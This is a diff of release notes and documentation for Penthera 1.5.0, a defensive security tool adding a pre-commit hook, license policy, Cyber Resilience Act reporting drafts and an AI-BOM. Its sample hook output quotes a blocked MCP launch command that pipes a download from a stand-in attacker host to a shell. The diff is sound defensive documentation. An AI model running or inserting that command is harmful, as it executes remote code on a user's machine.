penthera 1.4.0 → 1.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +57 -0
- package/README.md +141 -33
- package/docs/compliance-cra.md +141 -0
- package/docs/compliance-nis2.md +3 -1
- package/docs/examples/github-actions-scan.yml +1 -1
- package/docs/index.md +2 -2
- package/docs/plan.md +100 -0
- package/lib/compliance/cra.js +525 -0
- package/lib/deps/index.js +32 -8
- package/lib/deps/license.js +329 -0
- package/lib/deps/lockfile.js +4 -1
- package/lib/deps/report.js +17 -0
- package/lib/deps/spdx.json +1 -0
- package/lib/hook/index.js +312 -0
- package/lib/hook/policy.js +62 -0
- package/lib/install/policy.js +10 -2
- package/lib/jurisdictions/nl.json +9 -0
- package/lib/whitebox/aibom.js +384 -0
- package/lib/whitebox/sbom.js +45 -10
- package/lib/whitebox/secrets.js +11 -1
- package/package.json +3 -2
- package/skills/penthera/SKILL.md +33 -4
- package/src/cli/deps.js +22 -2
- package/src/cli/hook.js +131 -0
- package/src/cli.js +64 -6
package/CHANGELOG.md
CHANGED
|
@@ -4,6 +4,63 @@ All notable changes to Penthera are documented here. Versioning follows [SemVer]
|
|
|
4
4
|
|
|
5
5
|
## [Unreleased]
|
|
6
6
|
|
|
7
|
+
## [1.5.0] - 2026-10-19
|
|
8
|
+
|
|
9
|
+
Blocks problems at commit time, adds license policy, and extends the EU
|
|
10
|
+
evidence to the Cyber Resilience Act. The GitHub Action is now ready for the
|
|
11
|
+
Marketplace as "Penthera Security Review". Penthera also has a clearer
|
|
12
|
+
problem statement: open-source security for the apps and AI systems you ship.
|
|
13
|
+
|
|
14
|
+
### Docs
|
|
15
|
+
|
|
16
|
+
- Problem statement: "open-source security for the apps and AI systems you
|
|
17
|
+
ship", organised around three moments (before you deploy, what you build
|
|
18
|
+
with, after you ship). README, package, plugin, skill and repository
|
|
19
|
+
descriptions updated. Roadmap gains v1.6.0 "Before you deploy" (preview
|
|
20
|
+
deployment scanning, `penthera ship`) and v1.7.0 "After you ship"
|
|
21
|
+
(`penthera watch`). New `docs/plan.md` sets measurable quality gates to v2.0.
|
|
22
|
+
|
|
23
|
+
### Added
|
|
24
|
+
|
|
25
|
+
- **`penthera hook install|uninstall|run`**: a pre-commit hook that checks
|
|
26
|
+
staged content only (the git index): secrets and AI provider keys, the
|
|
27
|
+
`penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
|
|
28
|
+
`.cursor/`, `.claude/` and `skills/`, and, when `package-lock.json` is staged,
|
|
29
|
+
the capability diff against HEAD plus the license policy for the packages the
|
|
30
|
+
commit adds. Blocks on high and critical by default; one line per finding with
|
|
31
|
+
a fix hint and a `penthera.suppress.json` id. An existing hook is kept as
|
|
32
|
+
`pre-commit.pre-penthera`, runs first, and is restored by `uninstall`. Refuses
|
|
33
|
+
to write into a `core.hooksPath` managed by husky or lefthook without `--force`.
|
|
34
|
+
`.pre-commit-hooks.yaml` for pre-commit.com. Configured by a new `hook`
|
|
35
|
+
section in `penthera.policy.json` (`blockOn`, `checks`, `ignore`)
|
|
36
|
+
- **License policy**: `penthera deps --license-policy <preset|file>` and a
|
|
37
|
+
`licenses` section in `penthera.policy.json` (`preset`, `allow`, `deny`,
|
|
38
|
+
`allowPackages`, `unknown`). Presets `permissive`, `weak-copyleft-ok` and
|
|
39
|
+
`no-agpl`. A small SPDX expression parser handles `AND`/`OR`/`WITH`,
|
|
40
|
+
parentheses, `+` and `LicenseRef-`, and matches deprecated ids (`GPL-3.0`) to
|
|
41
|
+
their current form. Breaches and `UNLICENSED` are high; missing, custom and
|
|
42
|
+
non-SPDX licenses are medium. Findings use category `license`; the SPDX id
|
|
43
|
+
list is vendored (`lib/deps/spdx.json`). CycloneDX SBOM components now carry
|
|
44
|
+
their license
|
|
45
|
+
- **CRA Article 14 reporting helper** (`penthera --cra-init cra.json`,
|
|
46
|
+
`penthera --cra cra.json`, `lib/compliance/cra.js`): for an actively exploited
|
|
47
|
+
vulnerability (24h early warning, 72h notification, final report 14 days after
|
|
48
|
+
a fix is available) or a severe incident (24h, 72h, final report one month
|
|
49
|
+
after the notification). Computes due dates in UTC and local time (hours
|
|
50
|
+
elapsed, days and months on the calendar, DST-safe), flags overdue and late
|
|
51
|
+
reports, drafts each report against Art. 14(2)/(4) with `NEEDS INPUT` for
|
|
52
|
+
missing facts, adds an Art. 14(8) user advisory, and can prefill the affected
|
|
53
|
+
component, purl and CVEs from a Penthera SBOM and scan JSON. NL profile names
|
|
54
|
+
NCSC-NL and the ENISA Single Reporting Platform. Drafts, not the official
|
|
55
|
+
form, not legal advice. Guide: `docs/compliance-cra.md`
|
|
56
|
+
- **CycloneDX 1.6 AI-BOM** (`penthera --repo . --aibom aibom.cdx.json`,
|
|
57
|
+
`lib/whitebox/aibom.js`): AI SDK dependencies, model identifiers in code as
|
|
58
|
+
`machine-learning-model` components with `modelCard` and file:line evidence,
|
|
59
|
+
MCP servers as `services`, and Agent Skills and prompt files as hashed `data`
|
|
60
|
+
components. Offline. Tests validate the output against the official
|
|
61
|
+
CycloneDX 1.6 schema, vendored in `tests/fixtures/cyclonedx/` (new dev
|
|
62
|
+
dependency: `ajv`)
|
|
63
|
+
|
|
7
64
|
## [1.4.0] - 2026-10-19
|
|
8
65
|
|
|
9
66
|
The biggest release so far, covering the v1.3.0 "AI toolchain" and v1.4.0
|
package/README.md
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
<div align="center">
|
|
2
2
|
|
|
3
|
-
<img src="assets/penthera-social.jpg" alt="Penthera:
|
|
3
|
+
<img src="assets/penthera-social.jpg" alt="Penthera: open-source security for the apps and AI systems you ship" width="840">
|
|
4
4
|
|
|
5
5
|
<br/><br/>
|
|
6
6
|
|
|
@@ -20,30 +20,41 @@
|
|
|
20
20
|
|
|
21
21
|
<div align="center">
|
|
22
22
|
|
|
23
|
-
###
|
|
23
|
+
### Open-source security for the apps and AI systems you ship.
|
|
24
24
|
|
|
25
|
-
**
|
|
26
|
-
|
|
27
|
-
open source.**
|
|
25
|
+
**Check it before you deploy. Vet what you build with. Keep watching after you
|
|
26
|
+
ship. On your own machine, offline, and free.**
|
|
28
27
|
|
|
29
28
|
</div>
|
|
30
29
|
|
|
31
30
|
---
|
|
32
31
|
|
|
33
|
-
##
|
|
32
|
+
## The problem
|
|
33
|
+
|
|
34
|
+
Teams now ship apps and AI agents faster than anyone can secure them. AI writes
|
|
35
|
+
much of the code. AI pulls in the packages, MCP servers, and skills. And on most
|
|
36
|
+
teams nobody does security full time. Attackers have noticed: 2025 and 2026
|
|
37
|
+
brought self-spreading npm worms that hijacked AI coding tools, malicious MCP
|
|
38
|
+
servers, poisoned agent skills, and leaked AI provider keys running up large bills.
|
|
39
|
+
|
|
40
|
+
Commercial platforms answer this from the cloud, for a fee, often with an AI
|
|
41
|
+
deciding what is malicious. **Penthera answers it on your machine, for free,
|
|
42
|
+
with rules you can read.** Think of it as the open-source security team for
|
|
43
|
+
teams that don't have one.
|
|
34
44
|
|
|
35
|
-
|
|
36
|
-
one would do, from a CLI or from inside Claude Code and Cursor:
|
|
45
|
+
## What it does for you
|
|
37
46
|
|
|
38
|
-
| The job | What Penthera does | Command |
|
|
39
|
-
|
|
40
|
-
| **Test the app
|
|
41
|
-
|
|
|
42
|
-
|
|
|
43
|
-
| **
|
|
44
|
-
|
|
|
45
|
-
|
|
|
46
|
-
|
|
|
47
|
+
| | The job | What Penthera does | Command |
|
|
48
|
+
|---|---------|--------------------|---------|
|
|
49
|
+
| **Before you deploy** | Test the app | Scan your localhost or preview URL (TLS, headers, CORS, auth, JWT, IDOR, OAuth, OpenAPI, opt-in injection and fuzzing) and your repo (routes, trust boundaries, secrets including AI keys) | `penthera <url> --repo .` |
|
|
50
|
+
| | Fix and verify | Deterministic fixes on a local branch, re-scanned to prove they worked, remembered so the next run is sharper. Never pushes | `penthera agent --loop` |
|
|
51
|
+
| | Block it at commit time | Secrets, risky agent config, and dependency changes stopped before they are committed | `penthera hook install` |
|
|
52
|
+
| **What you build with** | Vet dependencies | What every package can actually do (install scripts, shell, network, env, obfuscation), what an upgrade added, lookalike names | `penthera deps --base main` |
|
|
53
|
+
| | Guard installs | Shows what a new package brings before any install script runs, and stops it under your policy | `penthera install <pkg>` |
|
|
54
|
+
| | Review pull requests | Comments the dependency capability diff on every PR that touches the lockfile | [GitHub Action](#use-as-a-github-action) |
|
|
55
|
+
| | Audit your AI tooling | Skills, MCP servers, hooks, plugins, and rule files: hidden instructions, unpinned servers, over-broad permissions, silent updates | `penthera agents --home` |
|
|
56
|
+
| **After you ship** | Report and prove | Reports for developers, owners, and auditors; a hashed, signable evidence bundle; NIS2 and CRA readiness and report drafts | `penthera <url> --audience auditor --evidence out/` |
|
|
57
|
+
| | Keep watching | Scheduled checks of your own production for drift: certificates, headers, new endpoints, keys in bundles, new CVEs in your SBOM | *on the [roadmap](ROADMAP.md)* |
|
|
47
58
|
|
|
48
59
|
What it is not: a human pentester, a 24/7 SOC, or incident response. It does the
|
|
49
60
|
repeatable checks so the people you do have can spend their time on judgement.
|
|
@@ -110,26 +121,15 @@ wizard. See the [quick start](#quick-start).
|
|
|
110
121
|
|
|
111
122
|
---
|
|
112
123
|
|
|
113
|
-
##
|
|
114
|
-
|
|
115
|
-
You shipped something fast: vibecoded, AI-assisted, already live. The same models
|
|
116
|
-
that helped you build it also make it easy for someone to probe it. Exposed API
|
|
117
|
-
routes, missing security headers, weak auth, a hardcoded key in the repo, an AI
|
|
118
|
-
provider key in the frontend bundle. Meanwhile the packages, skills, and MCP
|
|
119
|
-
servers you pull in run with your credentials, and attackers know it: 2025 and
|
|
120
|
-
2026 brought self-spreading npm worms, malicious MCP servers, and poisoned agent
|
|
121
|
-
skills.
|
|
122
|
-
|
|
123
|
-
Commercial platforms answer this from the cloud, for a fee, often with an AI
|
|
124
|
-
judge deciding what is malicious. Penthera answers it on your machine, for free,
|
|
125
|
-
with rules you can read.
|
|
124
|
+
## Use it responsibly
|
|
126
125
|
|
|
127
126
|
Penthera is for hardening systems you own. It is powerful, so please use it
|
|
128
127
|
carefully. See [Ethical use](#ethical-use--authorization) and the [Disclaimer](#disclaimer).
|
|
129
128
|
|
|
130
129
|
Shipping in the EU? Penthera also generates your
|
|
131
130
|
[NIS2 readiness report, policy pack, incident-report drafts, SBOM, and prefilled
|
|
132
|
-
customer security questionnaires](#compliance-nis2-and-the-cyberwetgeving)
|
|
131
|
+
customer security questionnaires](#compliance-nis2-and-the-cyberwetgeving), plus
|
|
132
|
+
CRA Article 14 report drafts and an AI-BOM.
|
|
133
133
|
Readiness tooling, not a certification.
|
|
134
134
|
|
|
135
135
|
### What you get
|
|
@@ -552,6 +552,111 @@ both. The one network use is npm talking to your configured registry, and
|
|
|
552
552
|
Penthera prints which one; Penthera itself sends nothing. Workspaces and
|
|
553
553
|
`file:` dependencies are not supported yet.
|
|
554
554
|
|
|
555
|
+
### License policy
|
|
556
|
+
|
|
557
|
+
```bash
|
|
558
|
+
penthera deps --license-policy permissive # or weak-copyleft-ok, no-agpl
|
|
559
|
+
penthera deps --license-policy legal/policy.json # a file with a "licenses" section
|
|
560
|
+
```
|
|
561
|
+
|
|
562
|
+
Without the flag, `penthera deps` applies the `licenses` section of
|
|
563
|
+
`penthera.policy.json` when there is one:
|
|
564
|
+
|
|
565
|
+
```json
|
|
566
|
+
{
|
|
567
|
+
"licenses": {
|
|
568
|
+
"preset": "permissive",
|
|
569
|
+
"allow": ["Python-2.0"],
|
|
570
|
+
"deny": ["WTFPL"],
|
|
571
|
+
"allowPackages": ["@acme/*", "sharp@0.33.5"],
|
|
572
|
+
"unknown": "warn"
|
|
573
|
+
}
|
|
574
|
+
}
|
|
575
|
+
```
|
|
576
|
+
|
|
577
|
+
| Preset | Allows |
|
|
578
|
+
|---|---|
|
|
579
|
+
| `permissive` | MIT, ISC, BSD, Apache-2.0, 0BSD, Unlicense, CC0, Zlib, BlueOak and similar. Everything else breaches |
|
|
580
|
+
| `weak-copyleft-ok` | `permissive` plus LGPL, MPL, EPL, CDDL and Artistic-2.0 |
|
|
581
|
+
| `no-agpl` | Anything except AGPL and SSPL (network copyleft) |
|
|
582
|
+
|
|
583
|
+
Licenses come from the lockfile (npm records them in v2 and v3), else from
|
|
584
|
+
the installed `package.json`. Expressions are parsed as SPDX:
|
|
585
|
+
`MIT OR GPL-3.0-only` passes `permissive` because one branch is enough, while
|
|
586
|
+
`MIT AND GPL-3.0-only` does not. Deprecated ids (`GPL-3.0`, `GPL-2.0+`) are
|
|
587
|
+
matched to their current form, so a deny of `AGPL-3.0-only` also catches a
|
|
588
|
+
package that says `AGPL-3.0`. A breach and `UNLICENSED` (no rights granted)
|
|
589
|
+
are high. A missing, custom (`SEE LICENSE IN ...`) or non-SPDX license is
|
|
590
|
+
medium, or high with `"unknown": "block"`. `allowPackages` exempts packages your
|
|
591
|
+
legal review has cleared. Findings use category `license` and appear in every
|
|
592
|
+
output format, and `--sbom` now records each component's license.
|
|
593
|
+
|
|
594
|
+
## Block it before it's committed
|
|
595
|
+
|
|
596
|
+
Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs
|
|
597
|
+
the checks that matter on what you are about to commit, and nothing else:
|
|
598
|
+
|
|
599
|
+
```bash
|
|
600
|
+
penthera hook install # writes .git/hooks/pre-commit; an existing hook is kept and runs first
|
|
601
|
+
penthera hook run # what the hook runs; try it on staged changes
|
|
602
|
+
penthera hook uninstall # removes it and puts your old hook back
|
|
603
|
+
```
|
|
604
|
+
|
|
605
|
+
On staged content only (the git index, not your working tree):
|
|
606
|
+
|
|
607
|
+
- secrets and AI provider keys in staged files;
|
|
608
|
+
- `penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
|
|
609
|
+
`.cursor/`, `.claude/` and `skills/`;
|
|
610
|
+
- when `package-lock.json` is staged, the capability diff against HEAD's
|
|
611
|
+
lockfile and the license policy, for the packages this commit adds.
|
|
612
|
+
|
|
613
|
+
```
|
|
614
|
+
✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)
|
|
615
|
+
|
|
616
|
+
✗ CRITICAL .mcp.json MCP server "x" launches by downloading and running code id b5914a44a2058da9
|
|
617
|
+
→ Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
|
|
618
|
+
✗ CRITICAL config.js:1 Anthropic API key in source sk-a…AAAA id 7a0eb6998ff38787
|
|
619
|
+
→ Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.
|
|
620
|
+
|
|
621
|
+
Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
|
|
622
|
+
{ "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
|
|
623
|
+
To skip the check for one commit: git commit --no-verify (the finding still ships)
|
|
624
|
+
```
|
|
625
|
+
|
|
626
|
+
It blocks on high and critical by default and takes about 0.1 to 0.5 s.
|
|
627
|
+
Configure it in `penthera.policy.json`:
|
|
628
|
+
|
|
629
|
+
```json
|
|
630
|
+
{ "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
|
|
631
|
+
"checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }
|
|
632
|
+
```
|
|
633
|
+
|
|
634
|
+
If husky or lefthook manage your hooks (`core.hooksPath` is set),
|
|
635
|
+
`penthera hook install` says so instead of overwriting them. Add one line to
|
|
636
|
+
that tool instead:
|
|
637
|
+
|
|
638
|
+
```bash
|
|
639
|
+
# husky
|
|
640
|
+
echo "npx --no-install penthera hook run" >> .husky/pre-commit
|
|
641
|
+
```
|
|
642
|
+
|
|
643
|
+
```yaml
|
|
644
|
+
# lefthook.yml
|
|
645
|
+
pre-commit:
|
|
646
|
+
commands:
|
|
647
|
+
penthera:
|
|
648
|
+
run: npx --no-install penthera hook run
|
|
649
|
+
```
|
|
650
|
+
|
|
651
|
+
```yaml
|
|
652
|
+
# .pre-commit-config.yaml (pre-commit.com)
|
|
653
|
+
repos:
|
|
654
|
+
- repo: https://github.com/danoszz/penthera
|
|
655
|
+
rev: <tag or sha>
|
|
656
|
+
hooks:
|
|
657
|
+
- id: penthera
|
|
658
|
+
```
|
|
659
|
+
|
|
555
660
|
---
|
|
556
661
|
|
|
557
662
|
## Compliance: NIS2 and the cyberwetgeving
|
|
@@ -569,11 +674,14 @@ helps with the paperwork around it. Offline, no accounts.
|
|
|
569
674
|
| `--policy-pack ./policies` | Proportionate policy templates, prefilled from your gaps |
|
|
570
675
|
| `--incident incident.json` | 24h / 72h / 1-month incident report drafts and deadlines |
|
|
571
676
|
| `--sbom sbom.cdx.json` | CycloneDX software bill of materials |
|
|
677
|
+
| `--cra cra.json` | CRA Article 14 drafts: 24h / 72h / 14-day or 1-month deadlines, overdue flags |
|
|
678
|
+
| `--aibom aibom.cdx.json` | CycloneDX 1.6 AI-BOM: AI SDKs, models in code, MCP servers, skills, prompts |
|
|
572
679
|
| `--history history.json` | Time-to-fix, ageing, and drift across scans |
|
|
573
680
|
| `--suppliers suppliers.txt` | Passive red/amber/green rating of your suppliers |
|
|
574
681
|
|
|
575
682
|
**Full guide, the measure-by-measure coverage table, and the limits:**
|
|
576
|
-
[docs/compliance-nis2.md](docs/compliance-nis2.md).
|
|
683
|
+
[docs/compliance-nis2.md](docs/compliance-nis2.md). Cyber Resilience Act
|
|
684
|
+
reporting and the AI-BOM: [docs/compliance-cra.md](docs/compliance-cra.md).
|
|
577
685
|
|
|
578
686
|
> Readiness tooling, not a certification and not legal advice.
|
|
579
687
|
|
|
@@ -583,7 +691,7 @@ helps with the paperwork around it. Offline, no accounts.
|
|
|
583
691
|
|
|
584
692
|
```yaml
|
|
585
693
|
# Scan a staging URL on a schedule and upload results to GitHub Security.
|
|
586
|
-
- run: npx penthera@1.
|
|
694
|
+
- run: npx penthera@1.5.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
|
|
587
695
|
- uses: github/codeql-action/upload-sarif@v4
|
|
588
696
|
with:
|
|
589
697
|
sarif_file: reports/scan.sarif
|
|
@@ -0,0 +1,141 @@
|
|
|
1
|
+
# Compliance: the Cyber Resilience Act (CRA)
|
|
2
|
+
|
|
3
|
+
Back to the [README](../README.md). NIS2 lives in
|
|
4
|
+
[compliance-nis2.md](compliance-nis2.md).
|
|
5
|
+
|
|
6
|
+
The Cyber Resilience Act, [Regulation (EU) 2024/2847](https://eur-lex.europa.eu/eli/reg/2024/2847/oj/eng),
|
|
7
|
+
puts security duties on manufacturers of products with digital elements, which
|
|
8
|
+
includes software you sell or make available in the EU. Most of it applies from
|
|
9
|
+
11 December 2027. The reporting duty in **Article 14 has applied since
|
|
10
|
+
11 September 2026** (Art. 71(2)), and it also covers products placed on the
|
|
11
|
+
market before December 2027 (Art. 69(3)).
|
|
12
|
+
|
|
13
|
+
Penthera helps with two pieces of CRA evidence, offline:
|
|
14
|
+
|
|
15
|
+
| Command | What you get |
|
|
16
|
+
|---------|--------------|
|
|
17
|
+
| `--cra-init cra.json` then `--cra cra.json` | Article 14 timeline with real due dates, overdue flags, and drafts of every report |
|
|
18
|
+
| `--repo . --aibom aibom.cdx.json` | CycloneDX 1.6 AI-BOM: AI SDKs, models referenced in code, MCP servers, skills, prompt files |
|
|
19
|
+
|
|
20
|
+
Penthera does not make you CRA compliant and does not certify anything. The
|
|
21
|
+
drafts are not the ENISA platform's official form, and none of this is legal
|
|
22
|
+
advice.
|
|
23
|
+
|
|
24
|
+
## Article 14 reporting helper
|
|
25
|
+
|
|
26
|
+
### What the regulation asks
|
|
27
|
+
|
|
28
|
+
Checked on 2026-10-19 against the Official Journal text and the
|
|
29
|
+
[ENISA Single Reporting Platform (SRP) FAQ](https://www.enisa.europa.eu/topics/product-security/vulnerability-services/eu-incident-response-and-cyber-crisis-management/single-reporting-platform-srp/frequently-asked-questions).
|
|
30
|
+
|
|
31
|
+
| | Actively exploited vulnerability (Art. 14(1)-(2)) | Severe incident (Art. 14(3)-(5)) |
|
|
32
|
+
|---|---|---|
|
|
33
|
+
| Early warning | within 24 hours of becoming aware, with the Member States where the product is available | within 24 hours, including whether it is suspected to be caused by unlawful or malicious acts, plus Member States |
|
|
34
|
+
| Notification | within 72 hours: the product, the general nature of the exploit and the vulnerability, corrective or mitigating measures taken and ones users can take, how sensitive the information is | within 72 hours: nature of the incident, an initial assessment, measures taken and ones users can take, sensitivity |
|
|
35
|
+
| Final report | no later than **14 days after a corrective or mitigating measure is available**: description with severity and impact, any malicious actor, details of the security update | within **one month after the incident notification**: detailed description with severity and impact, type of threat or root cause, applied and ongoing mitigations |
|
|
36
|
+
|
|
37
|
+
- **Where to send it.** Through the [ENISA Single Reporting Platform](https://portal.cra-srp.enisa.europa.eu/),
|
|
38
|
+
using the end-point of the CSIRT designated as coordinator in the Member State
|
|
39
|
+
of your main establishment. ENISA receives it at the same time (Art. 14(1),
|
|
40
|
+
14(3), 14(7)). For the Netherlands that CSIRT is **NCSC-NL**, per ENISA's
|
|
41
|
+
[list of CSIRTs designated as coordinators](https://www.enisa.europa.eu/topics/product-security/vulnerability-services/eu-incident-response-and-cyber-crisis-management/single-reporting-platform-srp/list-of-csirts-designated-as-coordinators).
|
|
42
|
+
- **Inform your users.** After becoming aware, inform impacted users (and where
|
|
43
|
+
appropriate all users), with mitigations they can deploy, where appropriate
|
|
44
|
+
in a machine-readable format (Art. 14(8)).
|
|
45
|
+
- **One notification** per vulnerability or incident, even across subsidiaries
|
|
46
|
+
(ENISA SRP FAQ). The CSIRT may ask for an intermediate report (Art. 14(6)).
|
|
47
|
+
- An *actively exploited vulnerability* is one with reliable evidence that a
|
|
48
|
+
malicious actor exploited it without the system owner's permission (Art. 3(42)).
|
|
49
|
+
An incident is *severe* if it can harm the availability, authenticity,
|
|
50
|
+
integrity or confidentiality of sensitive or important data or functions, or
|
|
51
|
+
can lead to malicious code in the product or a user's systems (Art. 14(5)).
|
|
52
|
+
|
|
53
|
+
### Use it
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
penthera --cra-init cra.json # set type ("vulnerability" or "incident") and aware_at
|
|
57
|
+
penthera --cra cra.json # writes cra-reports.md and prints the deadlines
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
`cra-reports.md` holds the timeline (UTC and your local time), a status per
|
|
61
|
+
report (`due in 21h 30m`, `submitted`, `submitted late`, `OVERDUE`,
|
|
62
|
+
`waiting for a fix`), a draft of each report with `NEEDS INPUT` for every fact
|
|
63
|
+
still missing, and a draft user advisory for Art. 14(8). Record what you've sent
|
|
64
|
+
in `submitted.early_warning` / `submitted.notification` / `submitted.final_report`
|
|
65
|
+
and re-run; for a severe incident the final report then counts from the real
|
|
66
|
+
submission time instead of the 72-hour deadline.
|
|
67
|
+
|
|
68
|
+
**Prefill from your scan and SBOM.** Name the affected dependency in
|
|
69
|
+
`component.name` and point `prefill` at Penthera output (paths relative to
|
|
70
|
+
`cra.json`):
|
|
71
|
+
|
|
72
|
+
```json
|
|
73
|
+
{
|
|
74
|
+
"type": "vulnerability",
|
|
75
|
+
"aware_at": "2026-10-24T09:00:00+02:00",
|
|
76
|
+
"component": { "name": "jquery" },
|
|
77
|
+
"prefill": { "scan": "scan.json", "sbom": "sbom.cdx.json" }
|
|
78
|
+
}
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
```bash
|
|
82
|
+
penthera https://staging.example.com --repo . --sbom sbom.cdx.json -o scan.json
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
From the SBOM it fills the product name and version and the component's version
|
|
86
|
+
and purl; from the scan, matching CVE ids, the scanner severity, and the finding
|
|
87
|
+
titles. Prefilled values are marked *verify* in the draft, and anything you wrote
|
|
88
|
+
yourself is never overwritten. A full example lives in `tests/fixtures/cra/`.
|
|
89
|
+
|
|
90
|
+
### How the deadlines are counted
|
|
91
|
+
|
|
92
|
+
- **Hours are elapsed hours** from `aware_at`. If the clocks change in between,
|
|
93
|
+
the local due time shifts (24 hours from 09:00 CEST on 24 October 2026 is
|
|
94
|
+
08:00 CET on 25 October).
|
|
95
|
+
- **Days and months are calendar periods** in your `timezone` (default
|
|
96
|
+
`Europe/Amsterdam`), ending at the same clock time. One month from 31 January
|
|
97
|
+
ends on 28 (or 29) February, following
|
|
98
|
+
[Regulation 1182/71](https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:31971R1182) Art. 3(2)(c).
|
|
99
|
+
- A timestamp without an offset is read in `timezone`. Use ISO 8601.
|
|
100
|
+
- This is the **strict reading**. Regulation 1182/71 can give a little more
|
|
101
|
+
time (a period runs to the end of the hour or day, and a days or months period
|
|
102
|
+
that ends on a weekend or public holiday moves to the next working day).
|
|
103
|
+
Don't plan on that; report early.
|
|
104
|
+
|
|
105
|
+
The helper warns if `aware_at` is before 11 September 2026, if
|
|
106
|
+
`main_establishment` is not the Netherlands (so NCSC-NL is not your CSIRT), and
|
|
107
|
+
if the type or time zone is unknown.
|
|
108
|
+
|
|
109
|
+
## AI-BOM (CycloneDX 1.6)
|
|
110
|
+
|
|
111
|
+
Customers and auditors increasingly ask what AI a product contains: which
|
|
112
|
+
providers get your data, which models, which agent tooling. `--aibom`
|
|
113
|
+
inventories it from the repo, offline:
|
|
114
|
+
|
|
115
|
+
```bash
|
|
116
|
+
penthera --repo . --aibom aibom.cdx.json
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
| Found | How | CycloneDX |
|
|
120
|
+
|-------|-----|-----------|
|
|
121
|
+
| AI SDKs: `openai`, `@anthropic-ai/sdk`, `@google/genai`, `ai` / `@ai-sdk/*`, `langchain` / `@langchain/*`, `llamaindex`, `ollama`, `@huggingface/transformers`; on PyPI `anthropic`, `transformers`, `torch`, `langchain-*`, `llama-index-*`, `litellm`, `mcp` and others | lockfile, `package.json`, `requirements.txt`, `pyproject.toml` | `library` with purl |
|
|
122
|
+
| Models: `claude-*`, `gpt-*`, `o3`, `text-embedding-*`, `gemini-*`, `gemma*`, `llama*`, `mistral-*`, `deepseek-*`, `qwen*`, `phi-*`, `grok-*`, Hugging Face ids (`meta-llama/Llama-3.1-8B-Instruct`) | whole string literals in code and `model:` keys in YAML/TOML; HF ids only for known orgs or next to a loader call | `machine-learning-model` with supplier, `modelCard` stub, `evidence.occurrences` (file and line) |
|
|
123
|
+
| MCP servers | `lib/agents/discover.js` (`.mcp.json`, `.cursor/`, `.vscode/mcp.json`, ...) | `services` with transport, package, endpoint and trust boundary; env var *names* only, never values or args |
|
|
124
|
+
| Agent Skills | `SKILL.md` folders | `data` with SHA-256 |
|
|
125
|
+
| Prompt files | `*.prompt`, `*.prompty`, `*.prompt.md`, anything under a `prompts/` folder | `data` with SHA-256 |
|
|
126
|
+
|
|
127
|
+
Every item hangs off the root component in `dependencies`. The BOM is only the
|
|
128
|
+
AI slice; use `--sbom` for all dependencies.
|
|
129
|
+
|
|
130
|
+
Spec references: the [CycloneDX 1.6 JSON reference](https://cyclonedx.org/docs/1.6/json/),
|
|
131
|
+
the [ML-BOM capability page](https://cyclonedx.org/capabilities/mlbom/), and the
|
|
132
|
+
[official schema](https://github.com/CycloneDX/specification/blob/master/schema/bom-1.6.schema.json).
|
|
133
|
+
That schema (with its SPDX and JSF dependencies) is vendored in
|
|
134
|
+
`tests/fixtures/cyclonedx/`, and the tests validate every generated AI-BOM
|
|
135
|
+
against it without network. Penthera emits 1.6 (ML-BOM first appeared in 1.5);
|
|
136
|
+
CycloneDX 1.7 is also published and is a later upgrade.
|
|
137
|
+
|
|
138
|
+
**Limits.** A model string in code means the model is referenced, not that it
|
|
139
|
+
runs in production; the evidence lines let a reviewer check. Model ids built at
|
|
140
|
+
runtime (`` `claude-${tier}` ``) are not detected. The `modelCard` is a stub:
|
|
141
|
+
fill in task, datasets and considerations from the provider's model card.
|
package/docs/compliance-nis2.md
CHANGED
|
@@ -1,6 +1,8 @@
|
|
|
1
1
|
# Compliance: NIS2 and the cyberwetgeving
|
|
2
2
|
|
|
3
|
-
Back to the [README](../README.md).
|
|
3
|
+
Back to the [README](../README.md). Shipping a product? The Cyber Resilience
|
|
4
|
+
Act's Article 14 reporting helper and the AI-BOM are in
|
|
5
|
+
[compliance-cra.md](compliance-cra.md).
|
|
4
6
|
|
|
5
7
|
The EU NIS2 directive and its national transpositions (the Cyberbeveiligingswet
|
|
6
8
|
in the Netherlands, the NIS2-wet in Belgium) put a duty of care, the *zorgplicht*,
|
package/docs/index.md
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
# Penthera documentation
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Open-source security for the apps and AI systems you ship: check it before you deploy, vet what you build with, keep watching after you ship. Offline, deterministic, free.
|
|
4
4
|
|
|
5
5
|
## Getting started
|
|
6
6
|
|
|
@@ -9,7 +9,7 @@ The routine work of a security team, on your own machine: app scanning, dependen
|
|
|
9
9
|
| [README](../README.md) | Install, quick start, ethical use |
|
|
10
10
|
| [Run it](../README.md#run-it) | Install + first-time wizard (`penthera` with no args) |
|
|
11
11
|
| [CHANGELOG](../CHANGELOG.md) | Version history |
|
|
12
|
-
| [Roadmap](../ROADMAP.md) and [release plan](./release-plan.md) | What ships next, in what order |
|
|
12
|
+
| [Roadmap](../ROADMAP.md), [plan to v2.0](./plan.md) and [release plan](./release-plan.md) | What ships next, in what order, and how quality is measured |
|
|
13
13
|
|
|
14
14
|
## Scanning
|
|
15
15
|
|
package/docs/plan.md
ADDED
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
# Plan to v2.0
|
|
2
|
+
|
|
3
|
+
How Penthera gets from "many features, shipped fast" to a tool a team can rely
|
|
